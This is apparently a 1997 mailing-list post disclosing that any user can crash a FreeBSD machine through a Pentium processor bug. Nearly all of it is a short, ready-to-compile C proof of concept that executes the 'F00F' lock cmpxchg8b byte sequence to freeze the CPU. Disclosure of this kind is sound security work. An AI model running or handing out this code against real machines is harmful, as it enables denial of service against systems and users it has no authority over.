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From: 026809r@dragon.acadiau.ca (Michael Richards)
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Subject: Crashing FreeBSD
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Date: Sun, 9 Nov 1997 20:59:13 -0400 (AST)
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Well folks, it looks like anyone can crash a FreeBSD box. I am told that
this is a bug in the pentium processor. Compile and run, it will crash the
machine right away...

Very simple:


char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };

main () {
    void (*f)() = x;
    f();
}